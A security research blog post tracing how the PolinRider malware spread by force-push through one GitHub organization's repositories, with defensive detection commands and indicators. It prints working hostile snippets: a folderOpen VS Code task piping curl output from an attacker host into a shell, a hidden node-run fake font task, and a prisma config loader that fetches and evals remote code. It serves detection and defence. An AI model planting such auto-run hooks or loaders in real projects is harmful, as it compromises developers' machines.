BLOG

PolinRider is A/B Testing its Way Past Your Detections

fa-solid-400.woff2 became 500 and 900, moved folders, and dropped its whitespace padding. What to look for now.

By cb482791-4ef1-4762-96ad-b0ca4bdd538e ·

PolinRider is A/B Testing its Way Past Your Detections

We’ve published a lot of content recently on our social media accounts to educate people on the PolinRider tasks.json / .woff2 file trick that DPRK has been using to infect developers with malware. Essentially there are two related files that autorun the malware:

  • tasks.json (in the project’s .vscode folder) contains a command to run fa-solid-400.woff2 every time the folder opens.

  • fa-solid-400.woff2 (in the project’s public/fonts folder) contains an obfuscated JavaScript payload, hidden by whitespace.

Perhaps coincidentally, over the last couple weeks we’re seeing changes to this attack mechanism that are clearly designed to make it harder to detect. The malware is force-pushing new versions of this attack into already-compromised repos.

  • In one example, all they did was change the .woff2 file to fa-solid-500.woff2 - a simple change, but effective if you’re running a keyword search for the 400 version.

  • A more recent example is more radical. The payload now takes the name fa-solid-900.woff2, a genuine Font Awesome filename. It sits where the real font would be, so the folder holds only standard Font Awesome filenames and nothing looks out of place. It’s also almost seven times larger than the 400 version (37.5 KB versus 5.5 KB).

Is it because of our content? Maybe. Is it going to catch people off guard. Definitely.

Let’s be clear: this isn’t just the malware evolving. Like with other DPRK components, this is evidence of experimentation. They’re running A/B tests to see which variants are most effective.

An 8-month-long infection provides a case study

Binary-Mindz is a legitimate GitHub organization with three backend repos that a real development team has been building since December 2025. All three have been infected for most of 2026, and between them they’ve carried every version of the font trick: fa-solid-400.woff2 from April 25, fa-solid-500.woff2 from September 3, and fa-solid-900.woff2 from September 25 (when it landed in all three repos within eight minutes).

GitHub’s repository activity log records every push on GitHub’s own servers, including force-pushes, and nothing on an infected machine can backdate it. For Binary-Mindz, the log goes back to the day each repo was created. It shows 853 force-pushes across the three repos, and we recovered every commit those pushes overwrote. So we don’t have to guess when each variant arrived or what changed. We can see it.

It also shows what this attack looks like from the victim’s side. Developers in this organization tried to remove the malware at least three times. Each time it came back, pushed from another contributor’s infected machine, usually under the same commit message as the cleanup.

It would be easy to tell this as a story of a malware family getting steadily more sophisticated. We don’t think that’s what the evidence shows. What we see looks more like a team running several variants at once and watching which ones survive, the way a marketing team runs an A/B test. That distinction matters, because a lot of the detection advice circulating for PolinRider assumes the last sample tells you what the next one will look like.

A couple notes before we start.

  • We name the GitHub accounts involved throughout this post because the evidence is public and the specifics are what make it useful. We believe every developer named here is a victim. Nothing in the record suggests any of them did anything other than open an infected project on their own computer.

  • We’ve raised GitHub Issues with this organization to notify them that they’re infected and provided guidance for getting cleaned up.

How one infection became an organization’s problem

Binary Mindz looks like a small development agency. The GitHub organization was created in November 2025 and has three public repositories, each a TypeScript backend named after what appears to be a client: agimtula_server, diegovillariber-backend, and rk-dodani-backend. agimtula_server is a NestJS app with bank integrations, IMAP invoice import, and Stripe webhooks.

For its first two months, nothing about agimtula_server stands out. GitHub’s activity log shows 385 ordinary pushes and pull request merges by three legitimate contributors (mahammadshariaralamsarker, mdrezuanislamridoy, and uforco).

Then, on January 29 at 00:45 UTC, the account alamin-sujon force-pushed main. The new commit added a VS Code task that runs when the folder is opened and pipes a script from 260120.vercel[.]app into the shell. Three minutes later the same account force-pushed the same change into diegovillariber-backend.

We can’t tell from public data whether alamin-sujon’s machine was the first one infected or was itself infected by an earlier repo. Our working hypothesis is that one of the contributors was compromised around December or January, most likely through a Contagious Interview lure (a fake job interview that asks a developer to clone and run a project), and that the infection followed them into this organization.

What happened next is clearer. PolinRider doesn’t need its operators to push anything by hand. Once a developer’s machine is infected, the malware running on their machine rewrites commits in every repo the developer has access to and force-pushes them. Any teammate who then opens one of those repos in VS Code gets infected too, and their machine starts doing the same thing. Across the three repos, 19 accounts force-pushed over eight months, and 18 of them show the same commit-rewriting pattern.

GitHub’s log records which account’s credentials made a push. It doesn’t record who was at the keyboard, or whether anyone was.

The infected machines leave a fingerprint in .gitignore:

config.bat
temp_auto_push.bat
temp_interactive_push.bat
branch_structure.json

None of these files are ever committed. They’re the working files of the auto-push tool running on the developer’s own computer, and the .gitignore entries keep them out of git status so the developer doesn’t notice them. We’ve found this block in every PolinRider-infected organization we’ve looked at. When it shows up in a repo, it means at least one contributor’s machine is infected, even if no payload has landed in that repo yet.

The font trick evolving

Because the activity log goes back to each repo’s creation, we can check what was on main in each repo on any given day. Here are four snapshots from 2026:

Date

agimtula_server

diegovillariber-backend

rk-dodani-backend

Feb 15

curl task

curl task

(not created yet)

May 15

curl task + eslint.config.mjs payload

fa-solid-400.woff2

fa-solid-400.woff2

Sep 10

curl task + eslint.config.mjs payload

fa-solid-500.woff2

fa-solid-500.woff2

Sep 26

curl task + eslint.config.mjs payload + fa-solid-900.woff2

fa-solid-500.woff2

fa-solid-500.woff2

Each font variant first appeared in two repos within minutes or hours of each other:

  • 400 on April 25, in diegovillariber-backend at 05:26:48 UTC and rk-dodani-backend 13 seconds later

  • 500 on September 3, in diegovillariber-backend at 14:45:40 UTC and rk-dodani-backend at 17:10:21

  • 900 on September 25, in all three repos between 01:30:28 and 01:38:11 UTC

agimtula_server never had a font payload before September 25. It ran on the original curl task and the eslint.config.mjs payload for most of the year. The curl task isn’t part of the 900 variant either: the 900 versions pushed to the other two repos don’t include it, and rk-dodani-backend never had one.

The 400 payload in rk-dodani-backend is a single 5,533-character line. During the 400 and 500 periods, the same public/fonts/ folder also held a real fa-solid-900.woff2, a 79,444-byte WOFF2 file, sitting next to the fake. In the 900 variant, the fake file takes that name.

September 25, when 900 went in and 500 came back

If you only looked at the snapshots above, you’d conclude that 900 replaced 500 in agimtula_server and hadn’t reached the other two repos yet. The activity log shows something stranger.

Between 01:30:28 and 01:38:35 UTC, the ramjan-devs account force-pushed the 900 variant to every branch of all three repos. For most of 2026, the fake font landed in a top-level public/fonts folder, which is a pretty obvious sign (to us) of tampering. But this time, in each repo the fake font landed in a different place:

agimtula_server          prisma/generated/prisma/internal/public/fonts/fa-solid-900.woff2
diegovillariber-backend  src/main/admin/admin-ad/dto/public/fonts/fa-solid-900.woff2
rk-dodani-backend        src/module/content-master/category/dto/public/fonts/fa-solid-900.woff2

At 22:28:56 UTC, haniful360 force-pushed agimtula_server. That rewrite changed one line in eslint.config.mjs and left the 900 variant running.

Eight minutes later, at 22:36:20, the same account switched diegovillariber-backend back to 500. At 23:00:58 it did the same to all six branches of rk-dodani-backend. In both repos, tasks.json went back to the older format and pointed at ./public/fonts/fa-solid-500.woff2 again. The 900 file stayed in the repo, unused.

This wasn’t a stale copy being pushed back. The 500 payload that returned was a new build, 32,320 bytes instead of the previous 32,006.

So within 32 minutes, one account’s credentials left 900 running in one repo and put an updated 500 back in two others. We can’t tell from the log whether that’s a deliberate split, or different builds of the tool running on different machines. Either way, at the end of the day the organization was running two variants in parallel.

Here’s how they compare:

500 variant

900 variant

Where it was running at end of Sep 25

diegovillariber-backend, rk-dodani-backend

agimtula_server (dormant copies in the other two)

Payload path

public/fonts/fa-solid-500.woff2

A different path in each repo, see above

Build marker

global.i = 'A8'

global['!']='9-10094'

Obfuscator

javascript-obfuscator style, _0x string array

Custom keyed shuffle cipher

Leading padding

421 tab characters before the code

None

Size

32,320 bytes (32,006 before the Sep 25 update)

37,567 bytes

C2 lookup

Ethereum only (NullReceiver)

Not in plain text; marker family matches our multi-chain samples

The first line of each file:

// 500 variant (fa-solid-500.woff2), after 421 tab characters
global.i = 'A8';const _0x54d6a0=_0x2a4d; ...

// 900 variant (fa-solid-900.woff2)
global['!']='9-10094';var _0x514f9b=_0x5b5d;(function(_0x1a2ce6,_0x3c485a){ ...

The 500 variant doesn’t need to be decoded to see what it does. The strings below come from the string table of the earlier 32,006-byte build, which is still sitting in a separate repo, GulamRosul/Curved-navigation-bar (marker A8-n*, 273 tabs of padding). The updated build in Binary Mindz carries the same wallet.

Dead-drop wallet   0xa322e5f3d311d3080e6f0121063e9adc2490ef1a
Ethereum RPCs      1rpc.io/eth, eth.drpc.org, ethereum-rpc.publicnode.com,
                   eth-mainnet.public.blastapi.io, plus a Blockscout indexer fallback
C2 paths           :443/0x/cls, :443/0x/ls
Response header    X-Payload-B64
XOR keys           q4FZkxX{!h,Sr3=@   y-p_>d$0B&@^1aQk

That’s the NullReceiver technique we documented in August. The loader reads the most recent transaction from a fixed Ethereum wallet, decodes a C2 IP address out of the recipient address, and fetches the next stage from that IP. The wallet is the same one we’ve tracked across every Ethereum-variant sample so far.

One detail in the 500 variant stood out. Before it runs the second stage, it writes its own build marker into a global (_V) and sends it to the C2 server in a request header called Sec-V. The server knows which build is calling home.

We can’t see the operators’ dashboards, so we can’t say for certain why they collect this. But if you were running several delivery variants in parallel and wanted to know which ones reached the most machines, this is the data you’d need.

We haven’t yet decoded the 900 variant. Its marker family and structure match the multi-chain samples we unwound in earlier research, which resolve their C2 through TRON and Aptos and pull the payload from a Binance Smart Chain transaction. We’ll confirm that for this specific sample before we claim it.

What’s evolving in each variant

Across the three Binary Mindz repos and eight months of history, we’ve seen a lot of changes. None of these changes happened in a neat sequence, and several coexist in the same organization on the same day.

How the code gets triggered

At least four different execution paths show up in agimtula_server’s history, and the current main branch carries three of them at once.

The original curl task in .vscode/tasks.json, which isn’t hidden and has no obfuscation at all:

{
  "label": "env",
  "type": "shell",
  "osx":     { "command": "curl https://260120.vercel.app/settings/linux?flag=9-test | bash" },
  "linux":   { "command": "curl https://260120.vercel.app/settings/linux?flag=9-test | sh" },
  "windows": { "command": "curl https://260120.vercel.app/settings/win?flag=9-test | cmd" },
  "presentation": { "reveal": "never", "echo": false, "close": true },
  "runOptions": { "runOn": "folderOpen" }
}

A hidden task that runs the fake font with Node:

{
  "label": "eslint-check",
  "type": "shell",
  "command": "(command -v node >/dev/null 2>&1 && node ./prisma/generated/prisma/internal/public/fonts/fa-solid-900.woff2) || (where node >nul 2>&1 && node ./prisma/generated/prisma/internal/public/fonts/fa-solid-900.woff2) || echo ''",
  "isBackground": true,
  "hide": true,
  "runOptions": { "runOn": "folderOpen" }
}

A payload appended to eslint.config.mjs. The legitimate config is left in place, and a single obfuscated line follows it, pushed off-screen with padding. That line has been 5,293, 10,582, 7,596, 37,504, and now 32,328 characters long across different rewrites. This path doesn’t need VS Code tasks at all. ESLint’s flat config is a JavaScript module, so anything that loads it runs it: npm run lint, a pre-commit hook, a CI lint job, or the ESLint extension in an editor.

And for a while, a loader in prisma.config.ts that pulled its next stage from a URL hidden in an environment variable:

import 'dotenv/config';
import { defineConfig, env } from 'prisma/config';

(async () => {
    const src = atob(process.env.AUTH_API_KEY);
    const proxy = (await import('node-fetch')).default;
    try {
      const response = await proxy(src);
      ...
      const proxyInfo = await response.text();
      eval(proxyInfo);
    } catch (err) {
      console.error('Auth Error!', err);
    }
})();

That one depended on a committed .env file and an extra node-fetch dependency, both things a reviewer or a dependency audit might catch. The 900 rewrites deleted it and took node-fetch and dotenv back out of package.json.

Where the payload lives

In these three repos alone we’ve seen the fake font in five locations:

  • public/fonts/fa-solid-400.woff2

  • public/fonts/fa-solid-500.woff2

  • prisma/generated/prisma/internal/public/fonts/fa-solid-900.woff2

  • src/main/admin/admin-ad/dto/public/fonts/fa-solid-900.woff2

  • src/module/content-master/category/dto/public/fonts/fa-solid-900.woff2

Burying the file deep in the tree isn’t new to the 900 variant. We’ve recently seen 400 samples in other repos hidden in paths like src/app/(site)/premium-purchase/cancel/public/fonts/, and plenty of 900 samples outside any Prisma folder. The pattern is the same each time: take a folder that looks like it belongs in the project and nest public/fonts/ inside it. In agimtula_server, a Prisma project, that meant a path that looks like generated client output, which developers rarely review. In the two NestJS repos, it meant a module’s dto/ folder.

What the file is called

The number in the filename (400, 500, 900) is often cited as a way to spot PolinRider. In Binary Mindz, 500 and 900 were both live at the end of September 25, and 500 was redeployed after 900 arrived. The number tells you which variant you’re looking at, but it doesn’t tell you how new it is since they’re being used concurrently

How tasks-json is written

The format varies too. Our 500 sample, and one of our 400 samples, use a tasks.json with a configurations block (a setting that belongs in launch.json) and a trailing comma after the last task. Another 400 sample and the 900 sample in agimtula_server have neither. There are a few possible explanations for this change:

  • A leftover from a template. The configurations block is launch.json content: a generic “Run My Project” Node launch config with an empty console value. Someone could have merged a launch.json into the tasks.json template at some point and never removed it.

  • Output from a generator script. A tool that writes each task followed by , would leave exactly this trailing comma. That fits the rest of the delivery being automated.

  • Deliberate evasion. VS Code reads tasks.json as JSONC, so the file still works, but strict JSON parsers reject it. A scanner that skips files it can’t parse would miss it.

  • Camouflage. A launch config makes the file look like an ordinary developer setup.

{
  "version": "2.0.0",
  "configurations": [
    {
      "type": "node",
      "request": "launch",
      "name": "Run My Project",
      "console": "",
      "internalConsoleOptions": "openOnSessionStart"
    }
  ],
  "tasks": [
    {
      "label": "eslint-check",
      ...
    },
  ]
}

What gets switched off

The 900 rewrite of agimtula_server also replaces .vscode/settings.json with a plausible team settings file (Prettier as the default formatter, a TypeScript SDK path, Jest runner config). Mixed in are three lines that remove the moments where a developer might see something running:

"task.allowAutomaticTasks": true,
"terminal.integrated.hideOnStartup": "always",
"debug.openDebug": "neverOpen",

VS Code’s Workspace Trust prompt is still the main barrier between a developer and a folderOpen task. These settings don’t bypass it, but they remove most of the other points where someone might notice.

Padding, markers, and obfuscators

Many 400 payloads and both 500 builds we’ve seen start with long runs of whitespace (273 tabs in the earlier 500 build, 421 in the updated one), so a quick look at the file shows nothing. The 900 payload starts directly with code.

The 900 payload also switches obfuscators. The 500 build uses a common _0x string-array obfuscator, and its indicators (the Ethereum wallet, the C2 paths, the response header) can be read straight out of the file. The 900 build uses a keyed shuffle cipher, and none of those strings appear in plain text. It isn’t a new tool: the payloads appended to agimtula_server’s eslint.config.mjs have used the same global['!'] marker family since at least May. The 900 variant moves it into the font file.

The build markers have changed repeatedly in eslint.config.mjs alone: 9-2078 and 8-1259, then 8-1586, then 8-1144, then 9-10094.

Making git log look normal

This is the part of PolinRider that we think deserves the most attention, because it’s what keeps the infection alive after people notice it. The team behind Binary Mindz tried to clean up three times.

May 21, 11:18 UTC. imranwebstudio pushed 6de5f8b801, titled “Remove malicious obfuscated JavaScript from eslint.config.mjs”. It removed the payload. Five hours later, at 16:21, a force-push from mirzasaikatahmmed’s account replaced it with 8e7dcf7552. Same title. Payload back in. For the rest of that day, the commit on main that said the malware had been removed contained the malware.

May 21, 21:17 UTC. mizan-rh made a one-line change to eslint.config.mjs in GitHub’s web editor, titled “Fix ESLint configuration syntax”. GitHub signed it. The line it changed was the 5,293-character payload line, which it replaced with four characters. It was a cleanup under a modest name. (The curl task was still in tasks.json.) Thirteen hours later, at 10:57 on May 22, a force-push from Rafi-Sharkar’s account rewrote it with the payload restored.

August 28. Borhan2004 pushed “security: remove VS Code supply-chain malware” to diegovillariber-backend at 10:09 UTC and rk-dodani-backend at 10:25. It deleted .vscode/tasks.json entirely. On August 30, force-pushes from Rafi-Sharkar’s account rewrote both commits, keeping the title and restoring the folderOpen task. As of this writing, diegovillariber-backend’s main (05040d3a8e) is still titled “security: remove VS Code supply-chain malware” and still contains the malware. The Borhan2004 account later shows up in the force-push log itself, in September.

In all three cases the cleanup was undone by a force-push from a different contributor’s account. Cleaning a repository doesn’t clean the machines that keep pushing to it. As long as anyone with push access still has the auto-push tool running, the payload comes back, and it comes back under a commit message the team already trusts.

One commit, rewritten more than a hundred times

mizan-rh’s “Fix ESLint configuration syntax” commit has since been rewritten over and over. We count 116 different SHAs carrying that title. Here’s the original next to the current main, straight from the git objects:

# 5cf4a5863c  (original)
parent dc6992e9de01ddae4cada05fec24ac7010f40367
author Mizanur Rahman <43827361+mizan-rh@users.noreply.github.com> 1779398239 +0600
committer GitHub <noreply@github.com> 1779398239 +0600
gpgsig -----BEGIN PGP SIGNATURE----- ...

# 1b16bd46b7  (current main)
parent dc6992e9de01ddae4cada05fec24ac7010f40367
author Mizanur Rahman <43827361+mizan-rh@users.noreply.github.com> 1779398239 +0600
committer Mizanur <43827361+mizan-rh@users.noreply.github.com> 1790299545 -0700

Same parent. Same author, down to the second. The original is signed and the rewrite isn’t. Compare what the commits claim with what GitHub recorded:

Commit

Author date

Committer

Committer date

Pushed to GitHub

5cf4a5863c (original)

May 21 21:17:19

GitHub

May 21 21:17:19

May 21 21:17:20

2e590a5821

May 21 21:17:19

Mizanur Rahman

Aug 15 03:55:15

Sep 25 01:30:45

bcf57d1a48

May 21 21:17:19

Mizanur Rahman

Sep 25 01:25:45

Sep 25 01:30:41

1b16bd46b7

May 21 21:17:19

Mizanur

Sep 25 01:25:45

Sep 25 22:28:56

If you sort this repo’s history by date to work out when it was infected, you’ll get May 21 for a payload that arrived on September 25.

The tool behind this follows a simple routine. It takes the newest commit on a branch, keeps the author name, email, date, and message, replaces the contents with a payload, and force-pushes the result to every branch in the repo within a second or two. Here’s one round of it, from GitHub’s activity log:

2026-09-25T22:28:56Z  haniful360  force_push  main                          bcf57d1a48 -> 1b16bd46b7
2026-09-25T22:28:57Z  haniful360  force_push  Ridoy                         bc0665dc5b -> 1b16bd46b7
2026-09-25T22:28:58Z  haniful360  force_push  copilot/vscode-mjrp8vkn-cved  ...        -> 1b16bd46b7
2026-09-25T22:29:00Z  haniful360  force_push  dev                           bc0665dc5b -> 1b16bd46b7

Across the three repos we counted 853 force-pushes. 814 of them rewrote only the tip commit, with the same parent and the same author date. 629 of those also kept the exact committer timestamp of the commit they replaced, even though the contents changed.

The tool isn’t careful about who it claims to be, though. Committer names are carried over from whatever commit was hijacked, so they don’t match the account that pushed. “Mizanur” appears as the committer on rewrites pushed by 12 different accounts, including 106 from GulamRosul, 46 from haniful360, and 20 from ramjan-devs. In the sibling repos we see “yugin0120”, “Littman05”, “unknown”, and “Mohammad”. The committer timezones are mostly -0700 and -0800. The team works in +0600.

The activity also speeds up. In agimtula_server there were 18 force-pushes in July, 202 in August, and 285 in September.

Timeline

All times UTC, from GitHub’s server-side activity log.

Date

Account

Event

2025-11-06

Binary-Mindz organization created

2025-12-02

agimtula_server created; normal development, no force-pushes

2026-01-02

diegovillariber-backend created

2026-01-29 00:45

alamin-sujon

First force-push. Adds curl task to agimtula_server, then diegovillariber-backend three minutes later

2026-03-03 04:04

alamin-sujon

First obfuscated payload in agimtula_server’s eslint.config.mjs

2026-03-16

eslint.config.mjs payload reaches diegovillariber-backend

2026-04-11

rk-dodani-backend created

2026-04-14

eslint.config.mjs payload reaches rk-dodani-backend

2026-04-25 05:26

fa-solid-400.woff2 appears in diegovillariber-backend and rk-dodani-backend, 13 seconds apart

2026-05-21 11:18

imranwebstudio

Cleanup #1 removes the eslint.config.mjs payload

2026-05-21 16:21

mirzasaikatahmmed

Cleanup #1 rewritten with the payload restored

2026-05-21 21:17

mizan-rh

Cleanup #2, a signed web-editor commit, deletes the payload line

2026-05-22 10:57

Rafi-Sharkar

Cleanup #2 rewritten with the payload restored

2026-08-28 10:09

Borhan2004

Cleanup #3 deletes tasks.json in diegovillariber-backend and rk-dodani-backend

2026-08-30 07:52

Rafi-Sharkar

Cleanup #3 rewritten with the task restored, in both repos

2026-09-03 14:45

fa-solid-500.woff2 appears in diegovillariber-backend, then rk-dodani-backend at 17:10

2026-09-25 01:30

ramjan-devs

fa-solid-900.woff2 pushed to every branch of all three repos by 01:38

2026-09-25 02:22

ramjan-devs

All six of the account’s own repos pushed within about 75 seconds

2026-09-25 22:28

haniful360

agimtula_server rewritten, 900 left in place

2026-09-25 22:36

haniful360

diegovillariber-backend switched back to an updated 500

2026-09-25 23:00

haniful360

rk-dodani-backend switched back to 500, all six branches

Two accounts in this story are new. ramjan-devs was created in April 2026 and DevGulamRosul a few days later. Their names, employers, and timing suggest they’re second accounts belonging to Md-Ramjan-Ali and GulamRosul, both of whom have years of normal history. The 75-second sweep across ramjan-devs’s own unrelated repos is what an infected machine does, not what an operator’s account does.

Why casual detection falls short

Take each check people have been using for PolinRider and hold it up against these three repos.

Check

Why it fails here

Search for fa-solid-400.woff2

Three filenames and five paths in one organization, with two variants live on the same day

Search for public/fonts/

The 900 variant sits in a different, project-specific path in each repo

Look for a filename that isn’t in Font Awesome

fa-solid-900.woff2 is a real Font Awesome filename, and in the 400 and 500 periods a real one sat in the same folder

Look for a hidden folderOpen task

The curl task isn’t hidden, and eslint.config.mjs doesn’t use tasks at all

Search for the global.i marker

The 900 variant uses global['!'], and the markers change constantly

Search payload files for known indicators (wallet, /0x/cls, X-Payload-B64)

Readable in the 500 build, encoded in the 900 build

Look for long runs of whitespace

Some variants pad, some don’t

Parse tasks.json with jq

Some samples, including the 500 variant here, have a trailing comma, so a strict JSON parser fails and the file can get skipped

Read git log

The malicious commit carries a real maintainer’s name, message, and timestamp

Trust commit dates

The author date is always copied forward and the committer date usually is

Trust a commit message

Two commits titled as malware removals contained the malware

Search GitHub code

Code search only indexes the default branch. Every branch here is rewritten, but in other repos we’ve found payloads only on stale branches

Check whether the repo was cleaned

Three cleanups were overwritten, the fastest in five hours

Trust an existing threat report

Ours described one layer. Everything else in this post came later

What still works

Some checks hold up across every variant we’ve seen, because they target what the attack needs rather than what the last sample looked like.

Check font files by their contents, not their names. Every PolinRider fake font we’ve found is plain text. On most systems, file will tell you:

find . -name '*.woff2' -exec file {} + | grep -v 'Web Open Font'

A real WOFF2 reports as “Web Open Font Format (Version 2)”. The payloads report as “ASCII text”.

Look for folderOpen tasks, hidden or not:

grep -rl --include=tasks.json '"runOn": "folderOpen"' .

If you parse tasks.json instead, use something that tolerates comments and trailing commas (VS Code’s own format is JSONC). A parse error is a reason to look more closely, not a reason to skip the file.

Question any committed task.allowAutomaticTasks. There’s very little reason for a project to ship it.

And don’t forget! You can change the default VS Code setting for autorunning tasks from on to off. That doesn’t clean up the malware, but it keeps it from firing each time you open the project.

Scan every branch, without checking anything out. A bare clone and git grep against each branch head reads the files without writing them to disk, and without giving VS Code a chance to open them:

git clone --bare https://github.com/OWNER/REPO.git repo.git
cd repo.git
git grep -l -E 'folderOpen|allowAutomaticTasks' $(git for-each-ref --format='%(refname)' refs/heads) -- .vscode
git grep -l -E 'temp_auto_push\.bat|branch_structure\.json' $(git for-each-ref --format='%(refname)' refs/heads) -- .gitignore

Check the activity log for force-pushes. GitHub’s repository activity API lists them with the account and a server-side timestamp:

curl -s "https://api.github.com/repos/OWNER/REPO/activity?activity_type=force_push&per_page=100"

A burst of force-pushes to every branch within a few seconds, from accounts on your own team, is the clearest signal of an infected contributor we’ve found.

Treat lint, ORM, and build configs as code. eslint.config.mjs, prisma.config.ts, next.config.js, vite.config.ts and their relatives all execute on load. Look for content after the expected export, and for lines far longer than anything a person would write.

Turn on branch protection, on every branch that matters. Blocking force-pushes and requiring signed commits would each have stopped the rewrites on any branch where they were enabled, since none of the rewrites were signed. The rewrites hit every branch, though, so protecting main alone isn’t enough, and it only works if the pushing accounts can’t bypass the rules.

Clean the machine, not just the repo. If the .gitignore markers are present, find out which contributors’ computers are infected before reverting anything. Otherwise the revert lasts until the next push.

Indicators of compromise

Type

Value

Notes

Repository

github[.]com/Binary-Mindz/agimtula_server

900 variant, curl task, eslint.config.mjs payload

Repository

github[.]com/Binary-Mindz/diegovillariber-backend

500 variant, dormant 900 file

Repository

github[.]com/Binary-Mindz/rk-dodani-backend

500 variant, dormant 900 file

Repository

github[.]com/GulamRosul/Curved-navigation-bar

Earlier 500 build (A8-n*, 32,006 bytes); outside the Binary-Mindz org

URL

hxxps://260120.vercel[.]app/settings/linux?flag=9-test

curl task, macOS and Linux

URL

hxxps://260120.vercel[.]app/settings/win?flag=9-test

curl task, Windows

Ethereum wallet

0xa322e5f3d311d3080e6f0121063e9adc2490ef1a

NullReceiver dead drop, 500 variant

C2 paths

:443/0x/cls, :443/0x/ls

500 variant

HTTP header

X-Payload-B64 (response), Sec-V (request)

500 variant

SHA-256

1a21bad1df69b51efebfd2fae849ac27722b0dfac7b1cb459cf81d38b36f9705

fa-solid-900.woff2, 900 variant

SHA-256

91e334655d31f84963e6b9369d41698f51b00d7a203cf314ceba01780e6f337c

eslint.config.mjs at 1b16bd46b7

SHA-256

fbf0e36dd7eb1e70fc4868a8d0d0cd8f6c80753241cd88a3518f40e9a67d232e

.vscode/tasks.json at 1b16bd46b7

Build markers

A8, A8-n*, 9-10094, 9-2078, 8-1259, 8-1586, 8-1144

.gitignore entries

config.bat, temp_auto_push.bat, temp_interactive_push.bat, branch_structure.json

Infected contributor machine